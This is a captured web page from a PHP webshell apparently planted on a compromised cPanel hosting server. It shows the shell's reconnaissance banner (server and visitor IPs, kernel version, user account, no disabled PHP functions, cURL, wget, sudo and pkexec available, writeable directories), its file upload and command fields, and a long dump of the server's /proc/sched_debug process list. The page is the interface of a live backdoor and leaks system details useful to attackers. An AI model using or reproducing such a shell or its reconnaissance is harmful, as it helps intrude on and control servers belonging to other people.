403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//sched_debug
Sched Debug Version: v0.11, 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1
ktime                                   : 781535969.724803
sched_clk                               : 781510012.626249
cpu_clk                                 : 781535969.725255
jiffies                                 : 5076203266
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2349.998 MHz
  .nr_running                    : 2
  .load                          : 2048
  .nr_switches                   : 416668753
  .nr_load_updates               : 381710569
  .nr_uninterruptible            : -252
  .next_balance                  : 5076.203279
  .curr->pid                     : 2727
  .clock                         : 781535970.268391
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1280
  .cpu_load[2]                   : 1216
  .cpu_load[3]                   : 1136
  .cpu_load[4]                   : 1067
  .avg_idle                      : 886204
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 205144561.491766
  .min_vruntime                  : 205144567.491766
  .max_vruntime                  : 205144561.491766
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2048
  .runnable_load_avg             : 1021
  .blocked_load_avg              : 147
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 39452
  .avg->runnable_avg_period      : 47027

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 205144301.975009   1818429   120         0.000000    506423.775929         0.000000 0 /
    kworker/0:0H     4      2846.558216        10   100         0.000000         0.144300         0.000000 0 /
     ksoftirqd/0     6 205144503.905875   4321189   120         0.000000     95471.084505         0.000000 0 /
     migration/0     7         0.000000   2858464     0         0.000000     63486.664666         0.000000 0 /
          rcu_bh     8        33.388028         2   120         0.000000         0.001920         0.000000 0 /
   lru-add-drain    10        36.889983         2   100         0.000000         0.002381         0.000000 0 /
      watchdog/0    11         0.000000    195386     0         0.000000      5659.043890         0.000000 0 /
      khugepaged    37 205142821.869893     34333   139         0.000000      2511.816764         0.000000 0 /
       kpsmoused    50      1999.310138         2   100         0.000000         0.041550         0.000000 0 /
   ipv6_addrconf    51      2005.335912         2   100         0.000000         0.040279         0.000000 0 /
         deferwq    65      2589.958629         4   100         0.000000         0.142110         0.000000 0 /
         kauditd   115 205143548.395655    143607   120         0.000000      2308.457140         0.000000 0 /
         xprtiod   187      2414.435595         2   100         0.000000         0.023790         0.000000 0 /
   virtscsi-scan   263      2652.505148         2   100         0.000000         0.004889         0.000000 0 /
       scsi_eh_0   264      2655.517944         2   120         0.000000         0.012799         0.000000 0 /
      scsi_tmf_0   265      2658.526794         2   100         0.000000         0.009911         0.000000 0 /
      scsi_tmf_2   269      2676.898320         2   100         0.000000         0.014900         0.000000 0 /
       scsi_eh_3   270      2772.911483        22   120         0.000000         4.066642         0.000000 0 /
      scsi_tmf_4   273      2680.914735         2   100         0.000000         0.017701         0.000000 0 /
       scsi_eh_5   274      2773.386336        22   120         0.000000         4.512825         0.000000 0 /
       scsi_eh_6   276      2773.391094        22   120         0.000000         4.556614         0.000000 0 /
      scsi_tmf_6   277      2687.933965         2   100         0.000000         0.008680         0.000000 0 /
   xfs-conv/sda1   307      2826.418759         2   100         0.000000         0.015699         0.000000 0 /
    xfs-cil/sda1   308 193261847.930188        58   100         0.000000         3.587939         0.000000 0 /
 xfs-reclaim/sda   309      2838.452756         2   100         0.000000         0.017339         0.000000 0 /
 xfs-eofblocks/s   311      2842.467869         2   100         0.000000         0.016471         0.000000 0 /
    kworker/0:1H   313 205144350.352728    341471   100         0.000000      9759.809241         0.000000 0 /
 systemd-journal   402 205143549.044664    147692   120         0.000000     59754.855464         0.000000 0 /
          auditd   453 205143548.413588    141336   116         0.000000      9113.777059         0.000000 0 /
          auditd   454 204924759.145338     17136   116         0.000000       820.193338         0.000000 0 /
           hwrng   495      3927.432636         7   120         0.000000         0.080159         0.000000 0 /
        ttm_swap   516      4006.957341         2   100         0.000000         0.005460         0.000000 0 /
      irqbalance   587 205140686.214469     78185   120         0.000000     33105.607925         0.000000 0 /
         polkitd   589 205141494.864417    263891   120         0.000000     19091.141577         0.000000 0 /
           gmain   609      4199.602055         1   120         0.000000         0.071031         0.000000 0 /
           gdbus   610 205141494.784337    258719   120         0.000000     20816.566879         0.000000 0 /
         polkitd   612      4202.199345         3   120         0.000000         0.039569         0.000000 0 /
 JS Sour~ Thread   616      4208.351733         8   120         0.000000         0.102459         0.000000 0 /
         polkitd   617      4211.852058         5   120         0.000000         0.108721         0.000000 0 /
        gssproxy   597      4190.530853        16   120         0.000000         2.751474         0.000000 0 /
        gssproxy   601      4192.465062         1   120         0.000000         0.006911         0.000000 0 /
        gssproxy   602      4192.197877         1   120         0.000000         0.009510         0.000000 0 /
        gssproxy   604      4192.014838         1   120         0.000000         0.024180         0.000000 0 /
          agetty   640     28657.558775         7   120         0.000000        10.410953         0.000000 0 /
           crond   641 205141488.724791     33737   120         0.000000      7361.520764         0.000000 0 /
          agetty   644     16594.624944         7   120         0.000000         4.189548         0.000000 0 /
  NetworkManager   652 205141494.813376    263130   120         0.000000     13410.222893         0.000000 0 /
           gdbus   663 205141494.843767     87524   120         0.000000     13511.955310         0.000000 0 /
    jbd2/loop0-8   771 205140598.300476     60215   120         0.000000      2766.267480         0.000000 0 /
            sshd   911 205142660.703825      7546   120         0.000000      2980.855513         0.000000 0 /
   sw-engine-fpm   913 205144134.778065    909466   120         0.000000     77576.179765         0.000000 0 /
           tuned   914 204262030.848158      1033   120         0.000000       221.965328         0.000000 0 /
           gmain  1114      5463.330987         1   120         0.000000         0.063260         0.000000 0 /
           tuned  1115 205144230.048840    780668   120         0.000000    122905.777377         0.000000 0 /
           tuned  1142    104387.947433        10   120         0.000000         2.730666         0.000000 0 /
           tuned  1144      5496.840715         1   120         0.000000         0.956538         0.000000 0 /
  pdns/webserver   992 193359620.015250        25   120         0.000000         2.559122         0.000000 0 /
 pdns/statHelper   993 205144350.411536    781349   120         0.000000     56734.562574         0.000000 0 /
 pdns/carbonDump   996 205144032.517488    781250   120         0.000000     32324.968237         0.000000 0 /
           anvil   927 204935968.065027     29820   120         0.000000      1861.275184         0.000000 0 /
        rsyslogd   942 204496956.708013      1353   120         0.000000        66.732489         0.000000 0 /
         proftpd   946 205143810.253913    164281   120         0.000000     20341.369980         0.000000 0 /
      run-script  1096 205144281.187097    795581   120         0.000000    443680.635648         0.000000 0 /
      run-script  1097 205136622.212621     13777   120         0.000000      9924.662458         0.000000 0 /
      tailwatchd  1130 204936020.025978     57038   120         0.000000     31189.528655         0.000000 0 /
 cpdavd - accept  1132 203362262.189822     12484   120         0.000000     43577.223725         0.000000 0 /
 cPhulkd - proce  1140 205143528.166761   1095222   120         0.000000    121709.906080         0.000000 0 /
    nydus-ex-api  1193 205144561.491766   7776626   120         0.000000   1354420.660033         0.000000 0 /
    nydus-ex-api  1449 181602272.490892        22   120         0.000000        17.312954         0.000000 0 /
    nydus-ex-api  1450 181909739.411444        13   120         0.000000        13.597411         0.000000 0 /
    nydus-ex-api  1452  12972265.514317         7   120         0.000000         6.522882         0.000000 0 /
    nydus-ex-api  1453  14464991.618645         7   120         0.000000         6.995938         0.000000 0 /
    nydus-ex-api  1454  14696164.708514         7   120         0.000000         6.645452         0.000000 0 /
    nydus-ex-api  1457  61674630.558165        10   120         0.000000         8.906466         0.000000 0 /
    nydus-ex-api  1458 160850041.515736        16   120         0.000000         7.936638         0.000000 0 /
          mysqld  4465 205126507.302629     92947   120         0.000000      6256.064589         0.000000 0 /
          mysqld  4466     98940.868909         1   120         0.000000         0.098850         0.000000 0 /
          mysqld  4467 205144412.103290   1561192   120         0.000000     55341.460981         0.000000 0 /
          mysqld  4468 205144251.230771   1562489   120         0.000000     56589.621586         0.000000 0 /
          mysqld  4469 205144377.244668   1561260   120         0.000000     55416.799704         0.000000 0 /
          mysqld  4470 205144377.230536   1561243   120         0.000000     54183.570214         0.000000 0 /
          mysqld  4471 205144350.387875   1561268   120         0.000000     54686.202004         0.000000 0 /
          mysqld  4472 205144522.923331   1561253   120         0.000000     55922.191686         0.000000 0 /
          mysqld  4473 205144412.117660   1647115   120         0.000000     49751.109522         0.000000 0 /
          mysqld  4474 205144465.975519   1610967   120         0.000000     46606.485733         0.000000 0 /
          mysqld  4476 205144465.962619   1610763   120         0.000000     48060.589141         0.000000 0 /
          mysqld  4477 205144350.366235    791705   120         0.000000     56929.255798         0.000000 0 /
          mysqld  4479 205144280.788880    780911   120         0.000000     37655.245444         0.000000 0 /
          mysqld  4480 205144350.398535    780930   120         0.000000     63460.667823         0.000000 0 /
          mysqld  4481 205143846.233606    156225   120         0.000000      7767.793361         0.000000 0 /
          mysqld  4482 205144350.418794    782801   120         0.000000     51787.034347         0.000000 0 /
          mysqld  4484 203195697.312963      6943   120         0.000000        59.799266         0.000000 0 /
          mysqld  4485 203195697.319345      6467   120         0.000000        60.392870         0.000000 0 /
          mysqld  4488 205141054.643118     78116   120         0.000000      3839.909668         0.000000 0 /
          mysqld  4490     99063.787092         1   120         0.000000         0.007530         0.000000 0 /
          mysqld  4491     99071.865122         2   120         0.000000         0.077101         0.000000 0 /
          mysqld  4492     99077.874579         1   120         0.000000         0.023170         0.000000 0 /
          mysqld  9907 205126682.426856      5914   120         0.000000      5874.554327         0.000000 0 /
          mysqld  9912 204715990.984465      6098   120         0.000000      5368.322229         0.000000 0 /
           httpd 29323 205144120.387275    636623   120         0.000000     72574.067363         0.000000 0 /
         php-fpm 29503 205144350.385145    699654   120         0.000000     41445.640614         0.000000 0 /
         php-fpm 29508 205144029.517139    704053   120         0.000000     43293.290130         0.000000 0 /
            exim  8545 204936019.615893      6872   120         0.000000      3138.911481         0.000000 0 /
            nscd  8935 205144560.365099   4399422   120         0.000000    226995.774965         0.000000 0 /
            nscd  8947 196650234.036889         6   120         0.000000         0.955111         0.000000 0 /
            nscd  8948 205144492.751462    405530   120         0.000000     34675.938636         0.000000 0 /
            nscd  8951 205144537.085651    405754   120         0.000000     34645.275245         0.000000 0 /
            nscd  8954 205144560.358386    405711   120         0.000000     34743.802931         0.000000 0 /
            nscd  8955 205144468.347231    405247   120         0.000000     34722.801392         0.000000 0 /
            nscd  8960 205144440.511502    405393   120         0.000000     34676.925690         0.000000 0 /
            nscd 27427 205144436.592427    313721   120         0.000000     26896.530956         0.000000 0 /
            nscd 27431 205144403.253820    314117   120         0.000000     26978.353831         0.000000 0 /
 cpanellogd - wa  8992 204206272.496328      3345   138         0.000000      1057.327864         0.000000 0 /
  cpanel_php_fpm  9062 205144029.543509    206598   120         0.000000     12971.162018         0.000000 0 /
           httpd 18541 201687176.734669        38   120         0.000000        57.321937         0.000000 0 /
    leechprotect 18542 188160267.159162        14   120         0.000000       127.126187         0.000000 0 /
      pop3-login 18599 204934583.729279       719   120         0.000000       147.553476         0.000000 0 /
      pop3-login 18602 205131240.240635       814   120         0.000000       176.053101         0.000000 0 /
      imap-login 18603 205131736.314478      2508   120         0.000000       578.627849         0.000000 0 /
           httpd  9035 191131113.772455         2   120         0.000000         1.855064         0.000000 0 /
           httpd  9038 205142588.100992     36610   120         0.000000      9519.762057         0.000000 0 /
           httpd  9039 204918786.203084     42110   120         0.000000     11829.146882         0.000000 0 /
           httpd  9040 205124760.152760     47310   120         0.000000     12243.577436         0.000000 0 /
           httpd  9041 205106951.670276     33331   120         0.000000      9190.597543         0.000000 0 /
           httpd  9043 205119394.773468     31629   120         0.000000      8714.607437         0.000000 0 /
           httpd  9044 204989555.746320     50082   120         0.000000     12926.130478         0.000000 0 /
           httpd  9045 205119596.161557     36127   120         0.000000     10167.683119         0.000000 0 /
           httpd  9047 204998664.906835     35913   120         0.000000     10290.731936         0.000000 0 /
           httpd  9050 205111490.746399     50452   120         0.000000     12791.585220         0.000000 0 /
           httpd  9051 205111490.608488     35738   120         0.000000      9031.981063         0.000000 0 /
           httpd  9055 205132980.837273     43951   120         0.000000     11744.198800         0.000000 0 /
           httpd  9056 204929933.218050     35278   120         0.000000      9788.646262         0.000000 0 /
           httpd  9057 205141777.455579     53111   120         0.000000     14055.321868         0.000000 0 /
           httpd  9058 205125162.976117     40584   120         0.000000     10331.959770         0.000000 0 /
           httpd  9059 204922704.770340     50669   120         0.000000     13556.944381         0.000000 0 /
           httpd  9063 205142709.315466     17180   120         0.000000      1176.467012         0.000000 0 /
           httpd 14428 205069477.898292     19233   120         0.000000      5603.664990         0.000000 0 /
           httpd 14430 205110550.137416     54807   120         0.000000     13938.404773         0.000000 0 /
           httpd 14431 205122492.251481     45580   120         0.000000     11652.590953         0.000000 0 /
           httpd 14432 204919698.555971     44188   120         0.000000     10988.186283         0.000000 0 /
           httpd 14433 205125253.376523     38318   120         0.000000     10614.542348         0.000000 0 /
           httpd 14438 204926783.082307     30390   120         0.000000      7766.806554         0.000000 0 /
           httpd 14439 204925678.043822     38066   120         0.000000     10700.855707         0.000000 0 /
           httpd 14449 204921347.817104     48371   120         0.000000     12273.255004         0.000000 0 /
           httpd 14450 204926943.148361     46165   120         0.000000     11979.946890         0.000000 0 /
           spamd  3957 205143796.328934     16219   120         0.000000     13591.439646         0.000000 0 /
     spamd child  9567 205136643.159241      1316   120         0.000000      9324.013620         0.000000 0 /
     spamd child  9568 205136643.216931       206   120         0.000000        36.271844         0.000000 0 /
           httpd 20375 205141777.427758     22417   120         0.000000      5952.964920         0.000000 0 /
           httpd 20379 205130484.401356     20306   120         0.000000      6537.098640         0.000000 0 /
           httpd 20384 205142951.273955     25157   120         0.000000      6298.098997         0.000000 0 /
           httpd 20388 204997444.275180     21637   120         0.000000      5678.015958         0.000000 0 /
           httpd 20393 205125308.201983     25148   120         0.000000      7167.129060         0.000000 0 /
           httpd 20397 204934662.195773     25488   120         0.000000      6351.764616         0.000000 0 /
           httpd 20484 205142895.745975     21807   120         0.000000      5947.534687         0.000000 0 /
           httpd 20488 205000197.099214     14173   120         0.000000      4821.912292         0.000000 0 /
           httpd 20490 205065517.842438     25520   120         0.000000      5628.081536         0.000000 0 /
           httpd 20494 205125126.260629     19622   120         0.000000      5537.670303         0.000000 0 /
           httpd 20497 204928011.043948     24933   120         0.000000      6825.752045         0.000000 0 /
           httpd 20499 205121693.505069     15771   120         0.000000      4556.201924         0.000000 0 /
           httpd 20500 205111490.626088     12316   120         0.000000      4377.630176         0.000000 0 /
           httpd 20501 205132702.149374     18340   120         0.000000      5094.683375         0.000000 0 /
           httpd 20502 205129574.445806     14291   120         0.000000      4249.170579         0.000000 0 /
           httpd 20503 205138273.744664     19105   120         0.000000      5009.743676         0.000000 0 /
           httpd 20507 204923147.458831     23741   120         0.000000      6702.474099         0.000000 0 /
           httpd 20508 205125252.977424     13839   120         0.000000      4644.466528         0.000000 0 /
           httpd 20509 205142611.568621      7060   120         0.000000       502.004234         0.000000 0 /
           httpd 24514 198425554.185220         2   120         0.000000         1.988582         0.000000 0 /
           httpd 24516 205117334.586444     19201   120         0.000000      5550.766651         0.000000 0 /
           httpd 24525 205116767.531571     12635   120         0.000000      4530.397693         0.000000 0 /
           httpd 24529 204935502.595946     20014   120         0.000000      6194.945101         0.000000 0 /
           httpd 24532 205115348.532828     24047   120         0.000000      7191.797990         0.000000 0 /
           httpd 24535 205058227.254998     14270   120         0.000000      4388.910404         0.000000 0 /
           httpd 24536 205138511.893932     20559   120         0.000000      5601.196421         0.000000 0 /
           httpd 24538 205142818.219504     19036   120         0.000000      5197.225845         0.000000 0 /
           httpd 24541 205142709.349165      6770   120         0.000000       478.717674         0.000000 0 /
           httpd  6095 205142594.790517     18064   120         0.000000      5716.377709         0.000000 0 /
           httpd  6096 205055645.323598     10618   120         0.000000      3309.378915         0.000000 0 /
           httpd  6097 205136375.024914     19780   120         0.000000      5619.716514         0.000000 0 /
           httpd  6098 205127653.169438     16405   120         0.000000      4826.107021         0.000000 0 /
           httpd  6099 204926963.410236      7462   120         0.000000      2716.242996         0.000000 0 /
           httpd  6100 205113421.322699      5683   120         0.000000      1892.120656         0.000000 0 /
           httpd  6102 205117533.378385     15018   120         0.000000      5509.784984         0.000000 0 /
           httpd  6105 205125244.130397     16409   120         0.000000      4490.590083         0.000000 0 /
           httpd  6116 204904326.213330     14226   120         0.000000      4869.389002         0.000000 0 /
           httpd  6117 205127079.928195      9564   120         0.000000      3296.704195         0.000000 0 /
           httpd  6118 205109004.138399     15126   120         0.000000      5095.622824         0.000000 0 /
    kworker/u4:0 26856 205144148.650596      3123   120         0.000000       312.014615         0.000000 0 /
 cPhulkd - dbpro  5313 205143538.794335       329   120         0.000000       129.060549         0.000000 0 /
     kworker/0:2 19835 204291949.000920      7673   120         0.000000       250.011750         0.000000 0 /
     kworker/0:0 22158 204933084.504513      1687   120         0.000000        73.024183         0.000000 0 /
     kworker/0:1 29069 205144350.546125      2811   120         0.000000        74.035059         0.000000 0 /
     kworker/0:3 30160 205141494.753977      3568   120         0.000000        99.472727         0.000000 0 /
            auth  1259 205132098.402604        48   120         0.000000        21.181246         0.000000 0 /
      awstats.pl  1513 205106589.983949      1127   139         0.000000      3065.899298         0.000000 0 /
   sw-engine-fpm  2598 205140323.323214         1   120         0.000000         0.834661         0.000000 0 /
            sshd  2668 205143548.690855        20   120         0.000000        35.064090         0.000000 0 /
            sshd  2673 205143506.959252        31   120         0.000000         7.507356         0.000000 0 /
R        php-cgi  2727 205144568.252904         7   120         0.000000        56.443065         0.000000 0 /

cpu#1, 2349.998 MHz
  .nr_running                    : 2
  .load                          : 2048
  .nr_switches                   : 405542534
  .nr_load_updates               : 320573623
  .nr_uninterruptible            : 252
  .next_balance                  : 5076.203332
  .curr->pid                     : 1193
  .clock                         : 781535971.031660
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 6
  .cpu_load[4]                   : 55
  .avg_idle                      : 815810
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 200907201.649843
  .min_vruntime                  : 200907207.640513
  .max_vruntime                  : 200907201.649843
  .spread                        : 0.000000
  .spread0                       : -4237360.612391
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2048
  .runnable_load_avg             : 24
  .blocked_load_avg              : 64
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 5591
  .avg->runnable_avg_period      : 46678

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 200104464.248867      5172   120         0.000000       239.167850         0.000000 0 /
       rcu_sched     9 200907201.987340 125909668   120         0.000000   1745175.313720         0.000000 0 /
      watchdog/1    12        -3.000000    195390     0         0.000000      5912.093436         0.000000 0 /
     migration/1    13         0.000000   2731900     0         0.000000     61268.554426         0.000000 0 /
     ksoftirqd/1    14 200907201.649843   4175931   120         0.000000     94973.745752         0.000000 0 /
    kworker/1:0H    16      1299.594161        11   100         0.000000         0.052908         0.000000 0 /
       kdevtmpfs    18     59342.636816       141   120         0.000000         3.189574         0.000000 0 /
           netns    19        35.664181         2   100         0.000000         0.020680         0.000000 0 /
      khungtaskd    20 200528188.677029      6514   120         0.000000       657.728539         0.000000 0 /
       writeback    21 192200724.647837        19   100         0.000000        12.959585         0.000000 0 /
     kintegrityd    22        47.678688         2   100         0.000000         0.004820         0.000000 0 /
          bioset    23        51.678687         2   100         0.000000         0.000000         0.000000 0 /
          bioset    24        55.678686         2   100         0.000000         0.000000         0.000000 0 /
          bioset    25        59.678685         2   100         0.000000         0.000000         0.000000 0 /
         kblockd    26        63.678684         2   100         0.000000         0.000000         0.000000 0 /
              md    27        67.685163         2   100         0.000000         0.006480         0.000000 0 /
     edac-poller    28        71.701572         2   100         0.000000         0.016410         0.000000 0 /
       watchdogd    29        71.701572         2   100         0.000000         0.001350         0.000000 0 /
         kswapd0    35 200685047.361428     12548   120         0.000000     31283.788735         0.000000 0 /
            ksmd    36       100.360584         2   125         0.000000         0.062160         0.000000 0 /
          crypto    38       108.601961         2   100         0.000000         0.017380         0.000000 0 /
        kthrotld    46       140.921962         2   100         0.000000         0.017921         0.000000 0 /
    kmpath_rdacd    48       148.978420         2   100         0.000000         0.010558         0.000000 0 /
          kaluad    49       152.988657         2   100         0.000000         0.011030         0.000000 0 /
          rpciod   186       841.546114         2   100         0.000000         0.030591         0.000000 0 /
         ata_sff   253      1081.872924         2   100         0.000000         0.004841         0.000000 0 /
       scsi_eh_1   266      1150.136989        22   120         0.000000         7.569902         0.000000 0 /
      scsi_tmf_1   267      1104.319910         2   100         0.000000         0.003420         0.000000 0 /
       scsi_eh_2   268      1171.724584        28   120         0.000000        16.082252         0.000000 0 /
      scsi_tmf_3   271      1112.455851         2   100         0.000000         0.009201         0.000000 0 /
       scsi_eh_4   272      1150.328012        22   120         0.000000         7.679522         0.000000 0 /
      scsi_tmf_5   275      1123.462420         2   100         0.000000         0.003430         0.000000 0 /
          bioset   302      1287.478525         2   100         0.000000         0.004750         0.000000 0 /
        xfsalloc   303      1290.479042         2   100         0.000000         0.002470         0.000000 0 /
   xfs_mru_cache   304      1294.481141         2   100         0.000000         0.012480         0.000000 0 /
    xfs-buf/sda1   305 197312516.326188        11   100         0.000000         0.146429         0.000000 0 /
   xfs-data/sda1   306 197312516.326430        11   100         0.000000         0.250589         0.000000 0 /
    xfs-log/sda1   310      1303.486374         2   100         0.000000         0.002680         0.000000 0 /
    xfsaild/sda1   312 200907201.653133  15502684   120         0.000000    354085.129279         0.000000 0 /
    kworker/1:1H   314 200906230.302278    264819   100         0.000000      9648.872095         0.000000 0 /
   systemd-udevd   430    294301.637446       650   120         0.000000        68.334665         0.000000 0 /
  systemd-logind   551 200903901.994592    820513   120         0.000000     74173.815846         0.000000 0 /
     dbus-daemon   558 200903902.165022   1171388   120         0.000000    187610.177088         0.000000 0 /
         chronyd   581 199199927.034916      9793   120         0.000000      1747.626014         0.000000 0 /
         qemu-ga   583 186098158.656514       564   120         0.000000       268.180944         0.000000 0 /
          smartd   586 199206572.383349       504   120         0.000000       104.880802         0.000000 0 /
    JS GC Helper   615      2141.196742         1   120         0.000000         0.123470         0.000000 0 /
        gssproxy   603      2131.991384         1   120         0.000000         0.024910         0.000000 0 /
        gssproxy   605      2131.972354         1   120         0.000000         0.005880         0.000000 0 /
             atd   643 199204101.855318       257   120         0.000000        14.272885         0.000000 0 /
           gmain   661 200906246.342123    195586   120         0.000000     15933.195028         0.000000 0 /
           loop0   766 200905619.749245    213604   100         0.000000     15198.108607         0.000000 0 /
 ext4-rsv-conver   772      2470.238636         2   100         0.000000         0.003611         0.000000 0 /
         dovecot   910 200895659.280083     98483   120         0.000000      8154.060796         0.000000 0 /
        nydus-ex   912      3070.526948       241   120         0.000000       183.899050         0.000000 0 /
     pdns_server   926 200893282.744926      2893   120         0.000000      1919.301516         0.000000 0 /
 pdns/ctrlListen   991 183726169.043844        30   120         0.000000        15.142412         0.000000 0 /
 pdns/tcpnameser   994 198399427.908796      6164   120         0.000000       894.363378         0.000000 0 /
   pdns/receiver   995 200906036.684084    968803   120         0.000000    291638.279034         0.000000 0 /
 cpsrvd (SSL) -    932 200897490.306426     92702   120         0.000000    261974.429590         0.000000 0 /
    in:imjournal   949 200907176.381447    976651   120         0.000000     75798.070223         0.000000 0 /
   rs:main Q:Reg   952 200906243.622209    133666   120         0.000000      7693.696648         0.000000 0 /
    nydus-ex-api   950      3264.483944       220   120         0.000000       339.975615         0.000000 0 /
        nydus-ex  1120 200906830.872669    781332   120         0.000000    234415.929047         0.000000 0 /
 dnsadmin - dorm  1134 200906375.665144     86161   120         0.000000     26305.329975         0.000000 0 /
R   nydus-ex-api  1193 200907201.640513   7776626   120         0.000000   1354420.660033         0.000000 0 /
    nydus-ex-api  1446 200906815.148530    781409   120         0.000000    365270.842483         0.000000 0 /
    nydus-ex-api  1447 200906977.046560    782400   120         0.000000    104212.366015         0.000000 0 /
    nydus-ex-api  1451 196940747.241823        24   120         0.000000        13.434478         0.000000 0 /
    nydus-ex-api  1455  33826023.860557         8   120         0.000000         8.242450         0.000000 0 /
    nydus-ex-api  1456  46851867.067305        11   120         0.000000         6.643715         0.000000 0 /
          mysqld  4475 200907197.620311   1611787   120         0.000000     47934.836362         0.000000 0 /
          mysqld  4483 198126787.349597     20706   120         0.000000      2045.142134         0.000000 0 /
          mysqld  4486 198126784.046293      6742   120         0.000000        67.090774         0.000000 0 /
          mysqld  4487     56881.557437         5   120         0.000000         4.157650         0.000000 0 /
          mysqld  4489 200906174.835312    156226   120         0.000000      7816.078216         0.000000 0 /
          mysqld  8524 200882633.995563      9670   120         0.000000      3222.959844         0.000000 0 /
          mysqld  6084 200547361.194683      6840   120         0.000000      5391.737505         0.000000 0 /
          mysqld  9878 200387709.241673      6035   120         0.000000      6474.051230         0.000000 0 /
          mysqld  9881 200873273.806789      5029   120         0.000000      3292.757661         0.000000 0 /
          mysqld  9892 200885524.660675      5498   120         0.000000      5910.386082         0.000000 0 /
          mysqld  9894 200534115.217297      5161   120         0.000000      4400.585265         0.000000 0 /
          mysqld  9895 200107545.250248      5658   120         0.000000      4444.996535         0.000000 0 /
         systemd 12812    331593.545023         1   120         0.000000         0.088120         0.000000 0 /
         systemd 12813 200906976.942200    795660   120         0.000000     43358.884050         0.000000 0 /
 queueprocd - wa   824 200895398.217421      7502   120         0.000000     12675.684238         0.000000 0 /
            nscd  8943 200906167.279567      6815   120         0.000000      1584.722910         0.000000 0 /
            nscd  8944 200900151.091276     11379   120         0.000000      1448.218541         0.000000 0 /
            nscd  8945 200902778.386219     35137   120         0.000000      8076.863956         0.000000 0 /
            nscd  8946 198631285.762874        60   120         0.000000         9.212637         0.000000 0 /
            nscd  8949 200907201.307171    404894   120         0.000000     34607.701154         0.000000 0 /
            nscd  8950 200907176.104358    405471   120         0.000000     34705.092548         0.000000 0 /
            nscd 27428 200907176.696206    313796   120         0.000000     26713.260671         0.000000 0 /
